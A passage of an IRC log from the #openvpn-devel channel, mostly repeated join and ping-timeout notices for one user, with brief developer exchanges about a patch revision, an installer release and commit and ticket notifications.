[~moveax3@46.165.12.227] has quit [Ping timeout: 240 seconds] 07:17 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 07:21 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 264 seconds] 07:22 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 07:27 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 260 seconds] 07:28 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 07:33 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 265 seconds] 07:33 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 07:37 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 250 seconds] 07:37 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 07:41 <@syzzer> cron2: yes, that fix is for 2.3 as well 07:42 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 245 seconds] 07:42 <@syzzer> and you're right that it is better to rename them all - you want a v2? 07:43 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 07:47 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 265 seconds] 07:48 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 07:53 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 258 seconds] 07:54 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 07:58 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 240 seconds] 08:00 <@mattock> openvpn-install-2.3.5-I602-* released 08:05 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 08:07 <@syzzer> \o/ 08:10 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 258 seconds] 08:10 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 08:15 -!- puskin [~puskin@host17-19-dynamic.56-82-r.retail.telecomitalia.it] has joined #openvpn-devel 08:15 -!- puskin [~puskin@host17-19-dynamic.56-82-r.retail.telecomitalia.it] has quit [Client Quit] 08:19 <@plaisthos> lev__: :) 08:27 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 250 seconds] 08:31 -!- srijanshetty [~srijanshe@14.139.38.11] has quit [Ping timeout: 260 seconds] 09:19 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 09:57 <@vpnHelper> RSS Update - tickets: #477: VPNConfigurationCopyAll largely ignores argument on iOS 8 <https://community.openvpn.net/openvpn/ticket/477> 09:59 -!- mattock is now known as mattock_afk 10:41 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 12:47 <@cron2> syzzer: either .h and .c or none - yes, v2 please :) 13:41 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 13:46 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 13:51 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 264 seconds] 13:51 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 13:56 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 250 seconds] 13:57 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 14:02 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 260 seconds] 14:02 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 14:07 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 265 seconds] 14:08 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 14:12 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 244 seconds] 14:13 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 14:17 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 240 seconds] 14:18 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 14:22 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 240 seconds] 14:23 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 14:27 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 245 seconds] 14:27 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 14:28 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 244 seconds] 14:32 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 260 seconds] 14:33 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 14:38 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 255 seconds] 14:38 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 14:43 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 255 seconds] 14:44 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 14:49 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 264 seconds] 14:49 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 14:50 <@syzzer> cron2: ok, will do. probably tomorrow. 14:53 -!- dazo is now known as dazo_afk 14:54 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 245 seconds] 14:55 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 14:56 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 15:00 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 265 seconds] 15:00 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 15:05 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 255 seconds] 15:06 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 15:10 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 265 seconds] 15:11 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 15:15 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 250 seconds] 15:16 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 15:21 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 265 seconds] 15:22 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 15:26 -!- puskin [~puskin@host17-19-dynamic.56-82-r.retail.telecomitalia.it] has joined #openvpn-devel 15:26 -!- puskin [~puskin@host17-19-dynamic.56-82-r.retail.telecomitalia.it] has left #openvpn-devel [] 15:26 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 244 seconds] 15:26 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 15:31 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 258 seconds] 15:32 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 15:36 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 258 seconds] 15:36 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 15:41 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 245 seconds] 15:41 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 15:46 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 245 seconds] 15:47 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 15:51 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 250 seconds] 15:52 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 15:57 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 244 seconds] 15:58 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 16:03 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 272 seconds] 16:03 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 16:08 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 256 seconds] 16:09 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 16:14 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 264 seconds] 16:14 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 16:19 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 255 seconds] 16:20 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 16:24 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 258 seconds] 16:25 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 16:30 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 244 seconds] 16:31 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 16:35 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 250 seconds] 16:35 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 16:39 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 244 seconds] 16:45 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 16:50 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 265 seconds] 16:50 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 16:55 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 265 seconds] 16:56 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 17:00 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 250 seconds] 17:01 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 17:06 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 260 seconds] 17:06 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 17:11 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 250 seconds] 17:11 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 17:15 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 244 seconds] 17:16 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 17:20 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 265 seconds] 17:21 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 17:24 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 265 seconds] 17:25 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 255 seconds] 17:26 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 17:31 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 264 seconds] 17:32 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 17:36 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 250 seconds] 17:37 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 17:42 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 250 seconds] 17:43 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 17:44 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 17:46 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 17:46 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 17:47 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 17:47 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 17:50 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 17:51 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 17:52 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 17:52 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 17:53 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 17:53 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 17:54 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 17:55 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 17:55 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 17:56 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 17:57 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 17:57 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 17:58 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 17:58 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 17:59 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 17:59 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 18:01 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 18:02 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 18:03 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 18:03 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 18:04 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 18:04 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 18:05 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 18:05 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 18:06 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 18:07 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 18:07 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 18:08 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 18:10 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 18:10 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 18:11 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 18:11 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 18:12 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 18:13 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 18:13 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 18:18 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 256 seconds] 18:18 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 18:19 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 18:24 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 18:25 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 18:25 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 18:26 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 18:27 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 18:31 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 240 seconds] 18:32 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 18:32 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 18:33 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 18:37 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 255 seconds] 18:39 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 18:43 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 245 seconds] 18:44 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 18:45 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 18:46 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 18:47 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 18:47 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 18:48 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 18:49 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 18:49 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 18:50 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 18:50 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 18:52 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 18:53 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 18:53 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 18:54 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 18:54 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 18:55 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 18:56 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 18:56 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 18:57 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 18:57 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 18:58 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 18:59 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 18:59 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 19:00 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 19:00 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 19:05 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 264 seconds] 19:07 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 19:07 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 19:08 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 19:09 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 19:11 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 19:15 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 244 seconds] 19:16 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 19:21 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 272 seconds] 19:21 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 244 seconds] 19:21 -!- n13l [~Daniel@aaa.anect.cz] has quit [Ping timeout: 244 seconds] 19:21 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 255 seconds] 19:24 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 19:29 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 272 seconds] 19:29 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 19:29 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 19:30 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 19:31 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 19:31 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 19:32 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 19:33 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 19:33 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 19:34 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 19:34 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 19:35 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 19:35 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 19:36 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 19:37 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 19:37 -!- mode/#openvpn-devel [+o pekster] by ChanServ 19:40 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 255 seconds] 19:41 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 19:41 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 19:42 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 19:43 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 19:43 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel --- Day changed Sat Nov 08 2014 05:00 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 06:20 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 272 seconds] 06:58 -!- mattock_afk is now known as mattock 07:10 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 07:18 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 07:18 -!- moveax3 [~moveax3@109.236.91.117] has joined #openvpn-devel 09:44 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 240 seconds] 10:24 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 11:06 -!- moveax3 [~moveax3@109.236.91.117] has quit [Ping timeout: 272 seconds] 11:36 <@vpnHelper> RSS Update - gitrepo: Fix assertion error when using --cipher none <https://github.com/OpenVPN/openvpn/commit/4e93e6dc88f4d904a4f2eb90140472a8d8fd68d0> 13:48 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 13:53 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 250 seconds] 13:54 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 13:58 -!- tbenson [~tbenson@c-50-131-82-204.hsd1.ca.comcast.net] has joined #openvpn-devel 13:59 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 255 seconds] 14:05 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 14:10 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 264 seconds] 14:10 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 14:14 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 240 seconds] 14:20 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 14:25 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 272 seconds] 14:26 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 245 seconds] 14:27 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 14:31 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 265 seconds] 14:32 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 14:36 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 245 seconds] 14:37 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 14:42 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 256 seconds] 14:43 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 14:47 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 240 seconds] 14:48 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 14:53 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 250 seconds] 14:53 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 14:58 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 255 seconds] 14:59 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 15:03 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 244 seconds] 15:11 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 15:13 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 15:14 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 265 seconds] 15:15 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 15:20 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 245 seconds] 15:21 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 15:25 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 250 seconds] 15:26 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 15:30 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 244 seconds] 15:32 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 15:37 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 265 seconds] 15:37 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 15:41 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 265 seconds] 15:42 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 15:46 -!- mattock is now known as mattock_afk 15:47 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 255 seconds] 15:48 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 15:52 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 250 seconds] 15:53 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 15:58 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 255 seconds] 15:59 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 16:03 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 250 seconds] 16:04 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 16:08 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 240 seconds] 16:15 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 16:20 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 265 seconds] 16:20 -!- tbenson [~tbenson@c-50-131-82-204.hsd1.ca.comcast.net] has quit [Quit: tbenson] 16:20 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 16:25 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 244 seconds] 16:26 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 16:30 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 265 seconds] 16:31 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 16:33 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Ping timeout: 260 seconds] 16:36 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 255 seconds] 16:36 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 16:41 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 250 seconds] 16:42 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 16:46 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 260 seconds] 16:47 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 16:52 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 272 seconds] 16:53 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 16:57 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 256 seconds] 16:58 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 17:03 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 244 seconds] 17:04 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 17:08 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 250 seconds] 17:09 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 17:14 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 264 seconds] 17:14 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 17:18 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 245 seconds] 17:19 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 17:23 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 245 seconds] 17:24 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 17:29 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 255 seconds] 17:35 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 17:40 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 260 seconds] 17:40 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 17:43 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 260 seconds] 17:45 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 265 seconds] 17:46 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 17:51 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 264 seconds] 17:52 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 17:56 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 264 seconds] 17:57 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 18:01 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 250 seconds] 18:01 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 18:06 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 265 seconds] 18:07 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 18:12 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 256 seconds] 18:12 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 18:17 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 265 seconds] 18:18 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 18:23 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 264 seconds] 18:24 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 18:29 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 272 seconds] 18:30 -!- moveax3 [~moveax3@46.165.12.227] has joined 